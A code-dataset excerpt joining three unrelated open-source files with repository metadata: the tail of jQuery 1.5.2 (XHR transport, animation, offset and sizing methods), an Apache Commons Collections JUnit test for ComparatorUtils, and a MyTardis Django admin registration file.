and #4378). head.insertBefore( script, head.firstChild ); }, abort: function() { if ( script ) { script.onload( 0, 1 ); } } }; } } ); var // #5280: next active xhr id and list of active xhrs' callbacks xhrId = jQuery.now(), xhrCallbacks, // XHR used to determine supports properties testXHR; // #5280: Internet Explorer will keep connections alive if we don't abort on unload function xhrOnUnloadAbort() { jQuery( window ).unload(function() { // Abort all pending requests for ( var key in xhrCallbacks ) { xhrCallbacks[ key ]( 0, 1 ); } }); } // Functions to create xhrs function createStandardXHR() { try { return new window.XMLHttpRequest(); } catch( e ) {} } function createActiveXHR() { try { return new window.ActiveXObject( "Microsoft.XMLHTTP" ); } catch( e ) {} } // Create the request object // (This is still attached to ajaxSettings for backward compatibility) jQuery.ajaxSettings.xhr = window.ActiveXObject ? /* Microsoft failed to properly * implement the XMLHttpRequest in IE7 (can't request local files), * so we use the ActiveXObject when it is available * Additionally XMLHttpRequest can be disabled in IE7/IE8 so * we need a fallback. */ function() { return !this.isLocal && createStandardXHR() || createActiveXHR(); } : // For all other browsers, use the standard XMLHttpRequest object createStandardXHR; // Test if we can create an xhr object testXHR = jQuery.ajaxSettings.xhr(); jQuery.support.ajax = !!testXHR; // Does this browser support crossDomain XHR requests jQuery.support.cors = testXHR && ( "withCredentials" in testXHR ); // No need for the temporary xhr anymore testXHR = undefined; // Create transport if the browser can provide an xhr if ( jQuery.support.ajax ) { jQuery.ajaxTransport(function( s ) { // Cross domain only allowed if supported through XMLHttpRequest if ( !s.crossDomain || jQuery.support.cors ) { var callback; return { send: function( headers, complete ) { // Get a new xhr var xhr = s.xhr(), handle, i; // Open the socket // Passing null username, generates a login popup on Opera (#2865) if ( s.username ) { xhr.open( s.type, s.url, s.async, s.username, s.password ); } else { xhr.open( s.type, s.url, s.async ); } // Apply custom fields if provided if ( s.xhrFields ) { for ( i in s.xhrFields ) { xhr[ i ] = s.xhrFields[ i ]; } } // Override mime type if needed if ( s.mimeType && xhr.overrideMimeType ) { xhr.overrideMimeType( s.mimeType ); } // X-Requested-With header // For cross-domain requests, seeing as conditions for a preflight are // akin to a jigsaw puzzle, we simply never set it to be sure. // (it can always be set on a per-request basis or even using ajaxSetup) // For same-domain requests, won't change header if already provided. if ( !s.crossDomain && !headers["X-Requested-With"] ) { headers[ "X-Requested-With" ] = "XMLHttpRequest"; } // Need an extra try/catch for cross domain requests in Firefox 3 try { for ( i in headers ) { xhr.setRequestHeader( i, headers[ i ] ); } } catch( _ ) {} // Do send the request // This may raise an exception which is actually // handled in jQuery.ajax (so no try/catch here) xhr.send( ( s.hasContent && s.data ) || null ); // Listener callback = function( _, isAbort ) { var status, statusText, responseHeaders, responses, xml; // Firefox throws exceptions when accessing properties // of an xhr when a network error occured // http://helpful.knobs-dials.com/index.php/Component_returned_failure_code:_0x80040111_(NS_ERROR_NOT_AVAILABLE) try { // Was never called and is aborted or complete if ( callback && ( isAbort || xhr.readyState === 4 ) ) { // Only called once callback = undefined; // Do not keep as active anymore if ( handle ) { xhr.onreadystatechange = jQuery.noop; delete xhrCallbacks[ handle ]; } // If it's an abort if ( isAbort ) { // Abort it manually if needed if ( xhr.readyState !== 4 ) { xhr.abort(); } } else { status = xhr.status; responseHeaders = xhr.getAllResponseHeaders(); responses = {}; xml = xhr.responseXML; // Construct response list if ( xml && xml.documentElement /* #4958 */ ) { responses.xml = xml; } responses.text = xhr.responseText; // Firefox throws an exception when accessing // statusText for faulty cross-domain requests try { statusText = xhr.statusText; } catch( e ) { // We normalize with Webkit giving an empty statusText statusText = ""; } // Filter status for non standard behaviors // If the request is local and we have data: assume a success // (success with no data won't get notified, that's the best we // can do given current implementations) if ( !status && s.isLocal && !s.crossDomain ) { status = responses.text ? 200 : 404; // IE - #1450: sometimes returns 1223 when it should be 204 } else if ( status === 1223 ) { status = 204; } } } } catch( firefoxAccessException ) { if ( !isAbort ) { complete( -1, firefoxAccessException ); } } // Call complete if needed if ( responses ) { complete( status, statusText, responses, responseHeaders ); } }; // if we're in sync mode or it's in cache // and has been retrieved directly (IE6 & IE7) // we need to manually fire the callback if ( !s.async || xhr.readyState === 4 ) { callback(); } else { // Create the active xhrs callbacks list if needed // and attach the unload handler if ( !xhrCallbacks ) { xhrCallbacks = {}; xhrOnUnloadAbort(); } // Add to list of active xhrs callbacks handle = xhrId++; xhr.onreadystatechange = xhrCallbacks[ handle ] = callback; } }, abort: function() { if ( callback ) { callback(0,1); } } }; } }); } var elemdisplay = {}, rfxtypes = /^(?:toggle|show|hide)$/, rfxnum = /^([+\-]=)?([\d+.\-]+)([a-z%]*)$/i, timerId, fxAttrs = [ // height animations [ "height", "marginTop", "marginBottom", "paddingTop", "paddingBottom" ], // width animations [ "width", "marginLeft", "marginRight", "paddingLeft", "paddingRight" ], // opacity animations [ "opacity" ] ]; jQuery.fn.extend({ show: function( speed, easing, callback ) { var elem, display; if ( speed || speed === 0 ) { return this.animate( genFx("show", 3), speed, easing, callback); } else { for ( var i = 0, j = this.length; i < j; i++ ) { elem = this[i]; display = elem.style.display; // Reset the inline display of this element to learn if it is // being hidden by cascaded rules or not if ( !jQuery._data(elem, "olddisplay") && display === "none" ) { display = elem.style.display = ""; } // Set elements which have been overridden with display: none // in a stylesheet to whatever the default browser style is // for such an element if ( display === "" && jQuery.css( elem, "display" ) === "none" ) { jQuery._data(elem, "olddisplay", defaultDisplay(elem.nodeName)); } } // Set the display of most of the elements in a second loop // to avoid the constant reflow for ( i = 0; i < j; i++ ) { elem = this[i]; display = elem.style.display; if ( display === "" || display === "none" ) { elem.style.display = jQuery._data(elem, "olddisplay") || ""; } } return this; } }, hide: function( speed, easing, callback ) { if ( speed || speed === 0 ) { return this.animate( genFx("hide", 3), speed, easing, callback); } else { for ( var i = 0, j = this.length; i < j; i++ ) { var display = jQuery.css( this[i], "display" ); if ( display !== "none" && !jQuery._data( this[i], "olddisplay" ) ) { jQuery._data( this[i], "olddisplay", display ); } } // Set the display of the elements in a second loop // to avoid the constant reflow for ( i = 0; i < j; i++ ) { this[i].style.display = "none"; } return this; } }, // Save the old toggle function _toggle: jQuery.fn.toggle, toggle: function( fn, fn2, callback ) { var bool = typeof fn === "boolean"; if ( jQuery.isFunction(fn) && jQuery.isFunction(fn2) ) { this._toggle.apply( this, arguments ); } else if ( fn == null || bool ) { this.each(function() { var state = bool ? fn : jQuery(this).is(":hidden"); jQuery(this)[ state ? "show" : "hide" ](); }); } else { this.animate(genFx("toggle", 3), fn, fn2, callback); } return this; }, fadeTo: function( speed, to, easing, callback ) { return this.filter(":hidden").css("opacity", 0).show().end() .animate({opacity: to}, speed, easing, callback); }, animate: function( prop, speed, easing, callback ) { var optall = jQuery.speed(speed, easing, callback); if ( jQuery.isEmptyObject( prop ) ) { return this.each( optall.complete ); } return this[ optall.queue === false ? "each" : "queue" ](function() { // XXX 'this' does not always have a nodeName when running the // test suite var opt = jQuery.extend({}, optall), p, isElement = this.nodeType === 1, hidden = isElement && jQuery(this).is(":hidden"), self = this; for ( p in prop ) { var name = jQuery.camelCase( p ); if ( p !== name ) { prop[ name ] = prop[ p ]; delete prop[ p ]; p = name; } if ( prop[p] === "hide" && hidden || prop[p] === "show" && !hidden ) { return opt.complete.call(this); } if ( isElement && ( p === "height" || p === "width" ) ) { // Make sure that nothing sneaks out // Record all 3 overflow attributes because IE does not // change the overflow attribute when overflowX and // overflowY are set to the same value opt.overflow = [ this.style.overflow, this.style.overflowX, this.style.overflowY ]; // Set display property to inline-block for height/width // animations on inline elements that are having width/height // animated if ( jQuery.css( this, "display" ) === "inline" && jQuery.css( this, "float" ) === "none" ) { if ( !jQuery.support.inlineBlockNeedsLayout ) { this.style.display = "inline-block"; } else { var display = defaultDisplay(this.nodeName); // inline-level elements accept inline-block; // block-level elements need to be inline with layout if ( display === "inline" ) { this.style.display = "inline-block"; } else { this.style.display = "inline"; this.style.zoom = 1; } } } } if ( jQuery.isArray( prop[p] ) ) { // Create (if needed) and add to specialEasing (opt.specialEasing = opt.specialEasing || {})[p] = prop[p][1]; prop[p] = prop[p][0]; } } if ( opt.overflow != null ) { this.style.overflow = "hidden"; } opt.curAnim = jQuery.extend({}, prop); jQuery.each( prop, function( name, val ) { var e = new jQuery.fx( self, opt, name ); if ( rfxtypes.test(val) ) { e[ val === "toggle" ? hidden ? "show" : "hide" : val ]( prop ); } else { var parts = rfxnum.exec(val), start = e.cur(); if ( parts ) { var end = parseFloat( parts[2] ), unit = parts[3] || ( jQuery.cssNumber[ name ] ? "" : "px" ); // We need to compute starting value if ( unit !== "px" ) { jQuery.style( self, name, (end || 1) + unit); start = ((end || 1) / e.cur()) * start; jQuery.style( self, name, start + unit); } // If a +=/-= token was provided, we're doing a relative animation if ( parts[1] ) { end = ((parts[1] === "-=" ? -1 : 1) * end) + start; } e.custom( start, end, unit ); } else { e.custom( start, val, "" ); } } }); // For JS strict compliance return true; }); }, stop: function( clearQueue, gotoEnd ) { var timers = jQuery.timers; if ( clearQueue ) { this.queue([]); } this.each(function() { // go in reverse order so anything added to the queue during the loop is ignored for ( var i = timers.length - 1; i >= 0; i-- ) { if ( timers[i].elem === this ) { if (gotoEnd) { // force the next step to be the last timers[i](true); } timers.splice(i, 1); } } }); // start the next in the queue if the last step wasn't forced if ( !gotoEnd ) { this.dequeue(); } return this; } }); function genFx( type, num ) { var obj = {}; jQuery.each( fxAttrs.concat.apply([], fxAttrs.slice(0,num)), function() { obj[ this ] = type; }); return obj; } // Generate shortcuts for custom animations jQuery.each({ slideDown: genFx("show", 1), slideUp: genFx("hide", 1), slideToggle: genFx("toggle", 1), fadeIn: { opacity: "show" }, fadeOut: { opacity: "hide" }, fadeToggle: { opacity: "toggle" } }, function( name, props ) { jQuery.fn[ name ] = function( speed, easing, callback ) { return this.animate( props, speed, easing, callback ); }; }); jQuery.extend({ speed: function( speed, easing, fn ) { var opt = speed && typeof speed === "object" ? jQuery.extend({}, speed) : { complete: fn || !fn && easing || jQuery.isFunction( speed ) && speed, duration: speed, easing: fn && easing || easing && !jQuery.isFunction(easing) && easing }; opt.duration = jQuery.fx.off ? 0 : typeof opt.duration === "number" ? opt.duration : opt.duration in jQuery.fx.speeds ? jQuery.fx.speeds[opt.duration] : jQuery.fx.speeds._default; // Queueing opt.old = opt.complete; opt.complete = function() { if ( opt.queue !== false ) { jQuery(this).dequeue(); } if ( jQuery.isFunction( opt.old ) ) { opt.old.call( this ); } }; return opt; }, easing: { linear: function( p, n, firstNum, diff ) { return firstNum + diff * p; }, swing: function( p, n, firstNum, diff ) { return ((-Math.cos(p*Math.PI)/2) + 0.5) * diff + firstNum; } }, timers: [], fx: function( elem, options, prop ) { this.options = options; this.elem = elem; this.prop = prop; if ( !options.orig ) { options.orig = {}; } } }); jQuery.fx.prototype = { // Simple function for setting a style value update: function() { if ( this.options.step ) { this.options.step.call( this.elem, this.now, this ); } (jQuery.fx.step[this.prop] || jQuery.fx.step._default)( this ); }, // Get the current size cur: function() { if ( this.elem[this.prop] != null && (!this.elem.style || this.elem.style[this.prop] == null) ) { return this.elem[ this.prop ]; } var parsed, r = jQuery.css( this.elem, this.prop ); // Empty strings, null, undefined and "auto" are converted to 0, // complex values such as "rotate(1rad)" are returned as is, // simple values such as "10px" are parsed to Float. return isNaN( parsed = parseFloat( r ) ) ? !r || r === "auto" ? 0 : r : parsed; }, // Start an animation from one number to another custom: function( from, to, unit ) { var self = this, fx = jQuery.fx; this.startTime = jQuery.now(); this.start = from; this.end = to; this.unit = unit || this.unit || ( jQuery.cssNumber[ this.prop ] ? "" : "px" ); this.now = this.start; this.pos = this.state = 0; function t( gotoEnd ) { return self.step(gotoEnd); } t.elem = this.elem; if ( t() && jQuery.timers.push(t) && !timerId ) { timerId = setInterval(fx.tick, fx.interval); } }, // Simple 'show' function show: function() { // Remember where we started, so that we can go back to it later this.options.orig[this.prop] = jQuery.style( this.elem, this.prop ); this.options.show = true; // Begin the animation // Make sure that we start at a small width/height to avoid any // flash of content this.custom(this.prop === "width" || this.prop === "height" ? 1 : 0, this.cur()); // Start by showing the element jQuery( this.elem ).show(); }, // Simple 'hide' function hide: function() { // Remember where we started, so that we can go back to it later this.options.orig[this.prop] = jQuery.style( this.elem, this.prop ); this.options.hide = true; // Begin the animation this.custom(this.cur(), 0); }, // Each step of an animation step: function( gotoEnd ) { var t = jQuery.now(), done = true; if ( gotoEnd || t >= this.options.duration + this.startTime ) { this.now = this.end; this.pos = this.state = 1; this.update(); this.options.curAnim[ this.prop ] = true; for ( var i in this.options.curAnim ) { if ( this.options.curAnim[i] !== true ) { done = false; } } if ( done ) { // Reset the overflow if ( this.options.overflow != null && !jQuery.support.shrinkWrapBlocks ) { var elem = this.elem, options = this.options; jQuery.each( [ "", "X", "Y" ], function (index, value) { elem.style[ "overflow" + value ] = options.overflow[index]; } ); } // Hide the element if the "hide" operation was done if ( this.options.hide ) { jQuery(this.elem).hide(); } // Reset the properties, if the item has been hidden or shown if ( this.options.hide || this.options.show ) { for ( var p in this.options.curAnim ) { jQuery.style( this.elem, p, this.options.orig[p] ); } } // Execute the complete function this.options.complete.call( this.elem ); } return false; } else { var n = t - this.startTime; this.state = n / this.options.duration; // Perform the easing function, defaults to swing var specialEasing = this.options.specialEasing && this.options.specialEasing[this.prop]; var defaultEasing = this.options.easing || (jQuery.easing.swing ? "swing" : "linear"); this.pos = jQuery.easing[specialEasing || defaultEasing](this.state, n, 0, 1, this.options.duration); this.now = this.start + ((this.end - this.start) * this.pos); // Perform the next step of the animation this.update(); } return true; } }; jQuery.extend( jQuery.fx, { tick: function() { var timers = jQuery.timers; for ( var i = 0; i < timers.length; i++ ) { if ( !timers[i]() ) { timers.splice(i--, 1); } } if ( !timers.length ) { jQuery.fx.stop(); } }, interval: 13, stop: function() { clearInterval( timerId ); timerId = null; }, speeds: { slow: 600, fast: 200, // Default speed _default: 400 }, step: { opacity: function( fx ) { jQuery.style( fx.elem, "opacity", fx.now ); }, _default: function( fx ) { if ( fx.elem.style && fx.elem.style[ fx.prop ] != null ) { fx.elem.style[ fx.prop ] = (fx.prop === "width" || fx.prop === "height" ? Math.max(0, fx.now) : fx.now) + fx.unit; } else { fx.elem[ fx.prop ] = fx.now; } } } }); if ( jQuery.expr && jQuery.expr.filters ) { jQuery.expr.filters.animated = function( elem ) { return jQuery.grep(jQuery.timers, function( fn ) { return elem === fn.elem; }).length; }; } function defaultDisplay( nodeName ) { if ( !elemdisplay[ nodeName ] ) { var elem = jQuery("<" + nodeName + ">").appendTo("body"), display = elem.css("display"); elem.remove(); if ( display === "none" || display === "" ) { display = "block"; } elemdisplay[ nodeName ] = display; } return elemdisplay[ nodeName ]; } var rtable = /^t(?:able|d|h)$/i, rroot = /^(?:body|html)$/i; if ( "getBoundingClientRect" in document.documentElement ) { jQuery.fn.offset = function( options ) { var elem = this[0], box; if ( options ) { return this.each(function( i ) { jQuery.offset.setOffset( this, options, i ); }); } if ( !elem || !elem.ownerDocument ) { return null; } if ( elem === elem.ownerDocument.body ) { return jQuery.offset.bodyOffset( elem ); } try { box = elem.getBoundingClientRect(); } catch(e) {} var doc = elem.ownerDocument, docElem = doc.documentElement; // Make sure we're not dealing with a disconnected DOM node if ( !box || !jQuery.contains( docElem, elem ) ) { return box ? { top: box.top, left: box.left } : { top: 0, left: 0 }; } var body = doc.body, win = getWindow(doc), clientTop = docElem.clientTop || body.clientTop || 0, clientLeft = docElem.clientLeft || body.clientLeft || 0, scrollTop = win.pageYOffset || jQuery.support.boxModel && docElem.scrollTop || body.scrollTop, scrollLeft = win.pageXOffset || jQuery.support.boxModel && docElem.scrollLeft || body.scrollLeft, top = box.top + scrollTop - clientTop, left = box.left + scrollLeft - clientLeft; return { top: top, left: left }; }; } else { jQuery.fn.offset = function( options ) { var elem = this[0]; if ( options ) { return this.each(function( i ) { jQuery.offset.setOffset( this, options, i ); }); } if ( !elem || !elem.ownerDocument ) { return null; } if ( elem === elem.ownerDocument.body ) { return jQuery.offset.bodyOffset( elem ); } jQuery.offset.initialize(); var computedStyle, offsetParent = elem.offsetParent, prevOffsetParent = elem, doc = elem.ownerDocument, docElem = doc.documentElement, body = doc.body, defaultView = doc.defaultView, prevComputedStyle = defaultView ? defaultView.getComputedStyle( elem, null ) : elem.currentStyle, top = elem.offsetTop, left = elem.offsetLeft; while ( (elem = elem.parentNode) && elem !== body && elem !== docElem ) { if ( jQuery.offset.supportsFixedPosition && prevComputedStyle.position === "fixed" ) { break; } computedStyle = defaultView ? defaultView.getComputedStyle(elem, null) : elem.currentStyle; top -= elem.scrollTop; left -= elem.scrollLeft; if ( elem === offsetParent ) { top += elem.offsetTop; left += elem.offsetLeft; if ( jQuery.offset.doesNotAddBorder && !(jQuery.offset.doesAddBorderForTableAndCells && rtable.test(elem.nodeName)) ) { top += parseFloat( computedStyle.borderTopWidth ) || 0; left += parseFloat( computedStyle.borderLeftWidth ) || 0; } prevOffsetParent = offsetParent; offsetParent = elem.offsetParent; } if ( jQuery.offset.subtractsBorderForOverflowNotVisible && computedStyle.overflow !== "visible" ) { top += parseFloat( computedStyle.borderTopWidth ) || 0; left += parseFloat( computedStyle.borderLeftWidth ) || 0; } prevComputedStyle = computedStyle; } if ( prevComputedStyle.position === "relative" || prevComputedStyle.position === "static" ) { top += body.offsetTop; left += body.offsetLeft; } if ( jQuery.offset.supportsFixedPosition && prevComputedStyle.position === "fixed" ) { top += Math.max( docElem.scrollTop, body.scrollTop ); left += Math.max( docElem.scrollLeft, body.scrollLeft ); } return { top: top, left: left }; }; } jQuery.offset = { initialize: function() { var body = document.body, container = document.createElement("div"), innerDiv, checkDiv, table, td, bodyMarginTop = parseFloat( jQuery.css(body, "marginTop") ) || 0, html = "<div style='position:absolute;top:0;left:0;margin:0;border:5px solid #000;padding:0;width:1px;height:1px;'><div></div></div><table style='position:absolute;top:0;left:0;margin:0;border:5px solid #000;padding:0;width:1px;height:1px;' cellpadding='0' cellspacing='0'><tr><td></td></tr></table>"; jQuery.extend( container.style, { position: "absolute", top: 0, left: 0, margin: 0, border: 0, width: "1px", height: "1px", visibility: "hidden" } ); container.innerHTML = html; body.insertBefore( container, body.firstChild ); innerDiv = container.firstChild; checkDiv = innerDiv.firstChild; td = innerDiv.nextSibling.firstChild.firstChild; this.doesNotAddBorder = (checkDiv.offsetTop !== 5); this.doesAddBorderForTableAndCells = (td.offsetTop === 5); checkDiv.style.position = "fixed"; checkDiv.style.top = "20px"; // safari subtracts parent border width here which is 5px this.supportsFixedPosition = (checkDiv.offsetTop === 20 || checkDiv.offsetTop === 15); checkDiv.style.position = checkDiv.style.top = ""; innerDiv.style.overflow = "hidden"; innerDiv.style.position = "relative"; this.subtractsBorderForOverflowNotVisible = (checkDiv.offsetTop === -5); this.doesNotIncludeMarginInBodyOffset = (body.offsetTop !== bodyMarginTop); body.removeChild( container ); jQuery.offset.initialize = jQuery.noop; }, bodyOffset: function( body ) { var top = body.offsetTop, left = body.offsetLeft; jQuery.offset.initialize(); if ( jQuery.offset.doesNotIncludeMarginInBodyOffset ) { top += parseFloat( jQuery.css(body, "marginTop") ) || 0; left += parseFloat( jQuery.css(body, "marginLeft") ) || 0; } return { top: top, left: left }; }, setOffset: function( elem, options, i ) { var position = jQuery.css( elem, "position" ); // set position first, in-case top/left are set even on static elem if ( position === "static" ) { elem.style.position = "relative"; } var curElem = jQuery( elem ), curOffset = curElem.offset(), curCSSTop = jQuery.css( elem, "top" ), curCSSLeft = jQuery.css( elem, "left" ), calculatePosition = (position === "absolute" || position === "fixed") && jQuery.inArray('auto', [curCSSTop, curCSSLeft]) > -1, props = {}, curPosition = {}, curTop, curLeft; // need to be able to calculate position if either top or left is auto and position is either absolute or fixed if ( calculatePosition ) { curPosition = curElem.position(); } curTop = calculatePosition ? curPosition.top : parseInt( curCSSTop, 10 ) || 0; curLeft = calculatePosition ? curPosition.left : parseInt( curCSSLeft, 10 ) || 0; if ( jQuery.isFunction( options ) ) { options = options.call( elem, i, curOffset ); } if (options.top != null) { props.top = (options.top - curOffset.top) + curTop; } if (options.left != null) { props.left = (options.left - curOffset.left) + curLeft; } if ( "using" in options ) { options.using.call( elem, props ); } else { curElem.css( props ); } } }; jQuery.fn.extend({ position: function() { if ( !this[0] ) { return null; } var elem = this[0], // Get *real* offsetParent offsetParent = this.offsetParent(), // Get correct offsets offset = this.offset(), parentOffset = rroot.test(offsetParent[0].nodeName) ? { top: 0, left: 0 } : offsetParent.offset(); // Subtract element margins // note: when an element has margin: auto the offsetLeft and marginLeft // are the same in Safari causing offset.left to incorrectly be 0 offset.top -= parseFloat( jQuery.css(elem, "marginTop") ) || 0; offset.left -= parseFloat( jQuery.css(elem, "marginLeft") ) || 0; // Add offsetParent borders parentOffset.top += parseFloat( jQuery.css(offsetParent[0], "borderTopWidth") ) || 0; parentOffset.left += parseFloat( jQuery.css(offsetParent[0], "borderLeftWidth") ) || 0; // Subtract the two offsets return { top: offset.top - parentOffset.top, left: offset.left - parentOffset.left }; }, offsetParent: function() { return this.map(function() { var offsetParent = this.offsetParent || document.body; while ( offsetParent && (!rroot.test(offsetParent.nodeName) && jQuery.css(offsetParent, "position") === "static") ) { offsetParent = offsetParent.offsetParent; } return offsetParent; }); } }); // Create scrollLeft and scrollTop methods jQuery.each( ["Left", "Top"], function( i, name ) { var method = "scroll" + name; jQuery.fn[ method ] = function(val) { var elem = this[0], win; if ( !elem ) { return null; } if ( val !== undefined ) { // Set the scroll offset return this.each(function() { win = getWindow( this ); if ( win ) { win.scrollTo( !i ? val : jQuery(win).scrollLeft(), i ? val : jQuery(win).scrollTop() ); } else { this[ method ] = val; } }); } else { win = getWindow( elem ); // Return the scroll offset return win ? ("pageXOffset" in win) ? win[ i ? "pageYOffset" : "pageXOffset" ] : jQuery.support.boxModel && win.document.documentElement[ method ] || win.document.body[ method ] : elem[ method ]; } }; }); function getWindow( elem ) { return jQuery.isWindow( elem ) ? elem : elem.nodeType === 9 ? elem.defaultView || elem.parentWindow : false; } // Create innerHeight, innerWidth, outerHeight and outerWidth methods jQuery.each([ "Height", "Width" ], function( i, name ) { var type = name.toLowerCase(); // innerHeight and innerWidth jQuery.fn["inner" + name] = function() { return this[0] ? parseFloat( jQuery.css( this[0], type, "padding" ) ) : null; }; // outerHeight and outerWidth jQuery.fn["outer" + name] = function( margin ) { return this[0] ? parseFloat( jQuery.css( this[0], type, margin ? "margin" : "border" ) ) : null; }; jQuery.fn[ type ] = function( size ) { // Get window width or height var elem = this[0]; if ( !elem ) { return size == null ? null : this; } if ( jQuery.isFunction( size ) ) { return this.each(function( i ) { var self = jQuery( this ); self[ type ]( size.call( this, i, self[ type ]() ) ); }); } if ( jQuery.isWindow( elem ) ) { // Everyone else use document.documentElement or document.body depending on Quirks vs Standards mode // 3rd condition allows Nokia support, as it supports the docElem prop but not CSS1Compat var docElemProp = elem.document.documentElement[ "client" + name ]; return elem.document.compatMode === "CSS1Compat" && docElemProp || elem.document.body[ "client" + name ] || docElemProp; // Get document width or height } else if ( elem.nodeType === 9 ) { // Either scroll[Width/Height] or offset[Width/Height], whichever is greater return Math.max( elem.documentElement["client" + name], elem.body["scroll" + name], elem.documentElement["scroll" + name], elem.body["offset" + name], elem.documentElement["offset" + name] ); // Get or set width or height on the element } else if ( size === undefined ) { var orig = jQuery.css( elem, type ), ret = parseFloat( orig ); return jQuery.isNaN( ret ) ? orig : ret; // Set the width or height on the element (default to pixels if value is unitless) } else { return this.css( type, typeof size === "string" ? size : size + "px" ); } }; }); window.jQuery = window.$ = jQuery; })(window);
nise/vi-two
lib/jquery-1.5.2.js
JavaScript
bsd-3-clause
219,249
/* * Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * The ASF licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.apache.commons.collections4; import static org.junit.Assert.assertEquals; import static org.junit.Assert.assertTrue; import static org.junit.Assert.fail; import java.util.Comparator; import org.junit.Test; /** * Tests ComparatorUtils. * * @version $Id: ComparatorUtilsTest.java 1684262 2015-06-08 20:05:37Z tn $ */ public class ComparatorUtilsTest { @Test public void booleanComparator() { Comparator<Boolean> comp = ComparatorUtils.booleanComparator(true); assertTrue(comp.compare(Boolean.TRUE, Boolean.FALSE) < 0); assertTrue(comp.compare(Boolean.TRUE, Boolean.TRUE) == 0); assertTrue(comp.compare(Boolean.FALSE, Boolean.TRUE) > 0); comp = ComparatorUtils.booleanComparator(false); assertTrue(comp.compare(Boolean.TRUE, Boolean.FALSE) > 0); assertTrue(comp.compare(Boolean.TRUE, Boolean.TRUE) == 0); assertTrue(comp.compare(Boolean.FALSE, Boolean.TRUE) < 0); } @Test public void chainedComparator() { // simple test: chain 2 natural comparators Comparator<Integer> comp = ComparatorUtils.chainedComparator(ComparatorUtils.<Integer>naturalComparator(), ComparatorUtils.<Integer>naturalComparator()); assertTrue(comp.compare(1, 2) < 0); assertTrue(comp.compare(1, 1) == 0); assertTrue(comp.compare(2, 1) > 0); } @Test public void max() { Comparator<Integer> reversed = ComparatorUtils.reversedComparator(ComparatorUtils.<Integer>naturalComparator()); assertEquals(Integer.valueOf(10), ComparatorUtils.max(1, 10, null)); assertEquals(Integer.valueOf(10), ComparatorUtils.max(10, -10, null)); assertEquals(Integer.valueOf(1), ComparatorUtils.max(1, 10, reversed)); assertEquals(Integer.valueOf(-10), ComparatorUtils.max(10, -10, reversed)); try { ComparatorUtils.max(1, null, null); fail("expecting NullPointerException"); } catch (NullPointerException npe) { // expected } try { ComparatorUtils.max(null, 10, null); fail("expecting NullPointerException"); } catch (NullPointerException npe) { // expected } } @Test public void min() { Comparator<Integer> reversed = ComparatorUtils.reversedComparator(ComparatorUtils.<Integer>naturalComparator()); assertEquals(Integer.valueOf(1), ComparatorUtils.min(1, 10, null)); assertEquals(Integer.valueOf(-10), ComparatorUtils.min(10, -10, null)); assertEquals(Integer.valueOf(10), ComparatorUtils.min(1, 10, reversed)); assertEquals(Integer.valueOf(10), ComparatorUtils.min(10, -10, reversed)); try { ComparatorUtils.min(1, null, null); fail("expecting NullPointerException"); } catch (NullPointerException npe) { // expected } try { ComparatorUtils.min(null, 10, null); fail("expecting NullPointerException"); } catch (NullPointerException npe) { // expected } } @Test public void nullLowComparator() { Comparator<Integer> comp = ComparatorUtils.nullLowComparator(null); assertTrue(comp.compare(null, 10) < 0); assertTrue(comp.compare(null, null) == 0); assertTrue(comp.compare(10, null) > 0); } @Test public void nullHighComparator() { Comparator<Integer> comp = ComparatorUtils.nullHighComparator(null); assertTrue(comp.compare(null, 10) > 0); assertTrue(comp.compare(null, null) == 0); assertTrue(comp.compare(10, null) < 0); } }
AffogatoLang/Moka
lib/Apache_Commons_Collections/src/test/java/org/apache/commons/collections4/ComparatorUtilsTest.java
Java
bsd-3-clause
4,590
# -*- coding: utf-8 -*- # # Copyright (c) 2010-2011, Monash e-Research Centre # (Monash University, Australia) # Copyright (c) 2010-2011, VeRSI Consortium # (Victorian eResearch Strategic Initiative, Australia) # All rights reserved. # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # # * Redistributions of source code must retain the above copyright # notice, this list of conditions and the following disclaimer. # * Redistributions in binary form must reproduce the above copyright # notice, this list of conditions and the following disclaimer in the # documentation and/or other materials provided with the distribution. # * Neither the name of the VeRSI, the VeRSI Consortium members, nor the # names of its contributors may be used to endorse or promote products # derived from this software without specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND ANY # EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED # WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE # DISCLAIMED. IN NO EVENT SHALL THE REGENTS AND CONTRIBUTORS BE LIABLE FOR ANY # DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES # (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; # LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND # ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT # (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS # SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. # from tardis.tardis_portal import models from django.contrib import admin admin.site.register(models.XML_data) admin.site.register(models.XSLT_docs) admin.site.register(models.Experiment) admin.site.register(models.Dataset) admin.site.register(models.Dataset_File) admin.site.register(models.Schema) admin.site.register(models.ParameterName) admin.site.register(models.DatafileParameter) admin.site.register(models.DatasetParameter) admin.site.register(models.Author_Experiment) admin.site.register(models.UserProfile) admin.site.register(models.ExperimentParameter) admin.site.register(models.DatafileParameterSet) admin.site.register(models.DatasetParameterSet) admin.site.register(models.ExperimentParameterSet) admin.site.register(models.GroupAdmin) admin.site.register(models.UserAuthentication) admin.site.register(models.ExperimentACL) admin.site.register(models.Equipment)
grischa/mytardis-mrtardis
tardis/tardis_portal/admin.py
Python
bsd-3-clause
2,634
